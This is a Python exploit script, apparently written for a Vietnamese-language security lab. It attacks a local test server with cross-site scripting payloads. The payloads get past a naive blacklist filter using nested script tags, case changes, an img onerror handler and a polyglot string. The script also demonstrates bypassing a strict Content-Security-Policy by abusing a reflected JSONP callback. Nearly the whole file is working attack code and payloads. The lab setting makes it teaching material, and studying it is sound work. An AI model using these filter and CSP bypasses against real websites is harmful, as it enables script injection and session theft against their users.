#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Exploit lab 3.4 - vuot filter blacklist va phan tich/vuot CSP.

Phan A - filter:
  So sanh payload "ngay tho" (bi chan) voi cac payload vuot (song sot nguyen van).
  Verify: grep response, chuoi nguy hiem con nguyen van => vuot thanh cong.

Phan B - CSP:
  Doc header CSP, phan tich vi sao bi vuot, va voi /csp-strict thi demo luong JSONP:
  /jsonp phan chieu callback => nap duoc JS "tu self" => qua mat script-src 'self'.
"""
import sys
import requests

BASE = "http://127.0.0.1:8035"


def search(payload):
    r = requests.get(BASE + "/search", params={"q": payload}, timeout=5)
    return r.text


def contains(html, needle):
    return needle in html


def main():
    ok = True

    print("=" * 70)
    print("[A] FILTER BLACKLIST ngay tho (xoa literal <script> va </script>)")

    print("-" * 70)
    print(" A0) Payload ngay tho: <script>alert(1)</script>")
    h = search("<script>alert(1)</script>")
    blocked = not contains(h, "<script>")
    print("     con the <script> trong response? : " + ("CO" if contains(h, "<script>") else "KHONG"))
    print("     => filter " + ("DA CHAN payload ngay tho (dung ky vong)" if blocked else "khong chan"))

    print("-" * 70)
    print(" A1) VUOT bang chen long: <scr<script>ipt>alert(1)</scr</script>ipt>")
    h = search("<scr<script>ipt>alert(1)</scr</script>ipt>")
    hit = contains(h, "<script>alert(1)</script>")
    print("     sau filter co <script>alert(1)</script> nguyen van? : " + ("CO" if hit else "KHONG"))
    print("     => " + ("VUOT THANH CONG (xoa mot luot nen phan con lai ghep lai thanh the that)"
                        if hit else "that bai"))
    ok = ok and hit

    print("-" * 70)
    print(" A2) VUOT bang doi HOA/thuong: <SCRIPT>alert(1)</SCRIPT>")
    h = search("<SCRIPT>alert(1)</SCRIPT>")
    hit = contains(h, "<SCRIPT>alert(1)</SCRIPT>")
    print("     con <SCRIPT>...</SCRIPT> nguyen van? : " + ("CO" if hit else "KHONG"))
    print("     => " + ("VUOT THANH CONG (filter phan biet hoa thuong)" if hit else "that bai"))
    ok = ok and hit

    print("-" * 70)
    print(" A3) VUOT bang KHONG dung the script: <img src=x onerror=alert(1)>")
    h = search("<img src=x onerror=alert(1)>")
    hit = contains(h, "<img src=x onerror=alert(1)>")
    print("     con <img ... onerror=...> nguyen van? : " + ("CO" if hit else "KHONG"))
    print("     => " + ("VUOT THANH CONG (filter chi nham the script)" if hit else "that bai"))
    ok = ok and hit

    print("-" * 70)
    print(" A4) Polyglot (chay o nhieu context):")
    poly = "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */onerror=alert(1) )//"
    h = search(poly)
    hit = "onerror=alert(1)" in h
    print("     payload: " + poly)
    print("     phan nguy hiem con nguyen van? : " + ("CO" if hit else "KHONG"))
    ok = ok and hit

    print("=" * 70)
    print("[B] CSP (Content-Security-Policy)")

    print("-" * 70)
    r = requests.get(BASE + "/csp-inline", params={"q": "<img src=x onerror=alert(1)>"}, timeout=5)
    csp = r.headers.get("Content-Security-Policy", "(khong co)")
    print(" B1) /csp-inline header CSP: " + csp)
    print("     payload reflect nguyen van? : " + ("CO" if "<img src=x onerror=alert(1)>" in r.text else "KHONG"))
    print("     PHAN TICH: co 'unsafe-inline' => inline script VA event handler van chay.")
    print("                CSP nay KHONG bao ve duoc gi truoc XSS. => VO DUNG.")
    unsafe = "'unsafe-inline'" in csp

    print("-" * 70)
    r = requests.get(BASE + "/csp-strict", params={"q": "<script>alert(1)</script>"}, timeout=5)
    csp2 = r.headers.get("Content-Security-Policy", "(khong co)")
    print(" B2) /csp-strict header CSP: " + csp2)
    print("     PHAN TICH: KHONG co 'unsafe-inline' => inline <script> va onerror BI CHAN.")
    print("                Nhung 'self' cho phep nap script tu CHINH origin nay.")
    print("     VUOT bang JSONP: /jsonp phan chieu callback vao noi dung JS.")
    rj = requests.get(BASE + "/jsonp", params={"callback": "alert(document.domain)//"}, timeout=5)
    ctype = rj.headers.get("Content-Type", "")
    body = rj.text
    print("       $ GET /jsonp?callback=alert(document.domain)//")
    print("       Content-Type: " + ctype)
    print("       body        : " + body)
    jsonp_ok = body.startswith("alert(document.domain)//") and "javascript" in ctype
    print("       => callback phan chieu nguyen van, content-type la JS.")
    print("       => Ke tan cong dat: <script src=\"/jsonp?callback=alert(document.domain)//\"></script>")
    print("          Script nay nap tu 'self' nen HOP LE voi CSP, nhung noi dung do ke")
    print("          tan cong dieu khien => CSP strict BI VUOT.")
    ok = ok and jsonp_ok and unsafe and ("'unsafe-inline'" not in csp2)

    print("=" * 70)
    print("TONG KET: " + ("TAT CA buoc vuot deu THANH CONG" if ok else "CO BUOC THAT BAI"))
    return 0 if ok else 1


if __name__ == "__main__":
    sys.exit(main())
